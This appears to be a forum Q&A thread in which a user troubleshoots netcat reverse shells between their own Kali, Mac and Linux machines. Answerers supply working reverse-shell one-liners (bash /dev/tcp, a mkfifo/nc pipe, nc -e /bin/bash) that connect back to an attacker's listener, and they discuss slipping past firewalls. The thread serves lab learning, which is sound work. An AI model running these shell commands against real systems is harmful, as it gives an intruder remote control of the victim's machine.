1

I've been trying to reverse shell between different devices, however,

I'm never able to establish a connection or get a shell prompt

.

Let's say I have a Mac OSX as victim and use a raspberry Pi Kali Linux installation, then I would do the following:

Linux device: nc -nlvp 5555 -e /bin/bash
OSX device: bash -i >& /dev/tcp/IPaddressOfLinuxDevice/5555 0>&1

I've also tried between two linux devices with the following:
attacker: nc -nlvp 5555
victim: nc -nv IPaddressOfVictim 5555 -e /bin/bash

and I never have any luck getting the shell? What am I not doing correctly? thanks for taking your time to read and help in advance.

1

What is your networking setup between the two machines in each example? Are you able to send other traffic between them, such as ICMP? If so, do you have any firewall rules configured on either of the devices that might interfere? If you're confident that your network setup is correct, then I've left some comments about each example below.

I think your issue in the first example stems from trying to use the -e flag in nc. You stated that your attacking machine is the Linux device and your OSX machine is the victim. If that's the case, you don't need to use the -e flag on the Linux nc listener. If you do, that means that when you connect to the Linux machine on the port opened by nc, you'll get a shell spawned from the Linux machine, which doesn't seem to be what you want, since that's the attacking box.

I think what you actually want to do is something like this:

Linux box: nc -nlvp 5555

OSX victim: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $IP_OF_ATTACKING_BOX 5555 >/tmp/f

On your nc listener on your attacking box, you should see a shell open. The reverse shell is created differently due to the nc version on OSX being the BSD version, which does not support the -e flag. I got the syntax from here: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Your second example's syntax looks correct to me. EDIT: As @waymobetta correctly notes, you don't want to use the IP address of the victim on your second nc command; you should use the IP address of the attacking machine, which is what you want to connect back to. However, if you're still having issues, you can check the remaining suggestions below.

Is your networking setup here different than in the previous example? Can you open a port on one with nc and just connect to it using the other (without the shell)? For example, if you do:

Machine 1: nc -nlvp 1234

Machine 2: nc $IP_OF_MACHINE_1 1234

And then type some text in the terminal for Machine 2 and hit enter, do you see the text appear in the listening window for Machine 1? You should also see some output regarding the connection attempt in that window. If that doesn't work, then your issue might stem from the machines not being able to communicate properly at all.

  • I tried this also, I believe there must be something wrong with my network settings, I'm not sure what? also how can firewall be of disturbance when we are working with reverse shells, isn't the point of reverse shells to bypass firewalls by forcing the victim to connect to your port unlike with bind shells? EDIT: it seems that I can open a port and communicate between the computers in regards to the Linux-Linux device setup. How can I do the same with the OSX? and windows? also the shells seems still not to work but I won't give up – NowsyMe Feb 15 at 19:48
  • 1
    @NowsyMe With regards to the firewall question, you're correct that reverse shells are generally able to bypass firewalls, since usually firewall rules are most concerned with incoming connections, not outgoing. However, firewall rules can certainly still exist for outbound connections, particularly ones on nonstandard ports, which could stop your reverse shell from working. If you can communicate between your two Linux machines in the way I described above, what happens when you try the reverse shell command? I'm happy to help further, but I'll need details on what you're seeing. – JosiahPierce Feb 15 at 20:20
  • On the linux attacker machine it says: connect to [IP address] from (UNKNOWN) [IP address] PORT meanwhile on the linux victim machine it says: (UNKNOWN) [IP address] PORT (?) open this is after initially setting up nc -nlvp PORT on attacker and nc IP PORT -e FILE on victim – NowsyMe Feb 15 at 20:43
  • @NowsyMe That sounds like the connection is working fine. Once you've sent the shell from the victim machine to the attacking one, have you tried running a command in the listener window? For example, after you see the message indicating that a connection has been established, what happens if you type the "id" command and press enter? – JosiahPierce Feb 15 at 20:47
  • thank you Joshua, the issue was related to the firewall configurations of the victim device! – NowsyMe Feb 20 at 14:23
0

The first scenario:

Linux device: nc -nlvp 5555 -e /bin/bash OSX device: bash -i >& /dev/tcp/IPaddressOfLinuxDevice/5555 0>&1

You do not need to pass -e /bin/bash as the Linux device (attacker) to the OSX device, the attacker would probably not be giving his shell to the victim, and I don't believe that is the scenario you are looking for..

Fix: The above command (when used without the -e /bin/bash) creates a reverse shell and connects back to the Linux device that allows the Linux box to run bash commands as the OSX device, which is what I believe you are looking for.

I am using a newer version of nc that doesn't support -e but I am able to follow what you are asking.

Try this:

Attacker (Linux): nc -nvlp 5555 Victim (OSX): bash -i >& /dev/tcp/ip_of_attacker/5555 0>&1

The above sends the shell of the victim to the listening attacker.


As for the second scenario, you are also super close!

Instead of..

attacker: nc -nlvp 5555 victim: nc -nv IPaddressOfVictim 5555 -e /bin/bash

Try..

attacker: nc -nlvp 5555 victim: nc -nv ip_of_attacker 5555 -e /bin/bash

The above command will send the shell of the victim to the attacker machine that is listening at the provided port (5555), enabling the attacker (Linux box) to run commands on the OSX device.

  • thanks @waymobetta, I tried without luck, I commented on below answer as well, maybe it will shed light on potential clues to where I'm stuck. any help is appreciated. – NowsyMe Feb 15 at 19:50

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.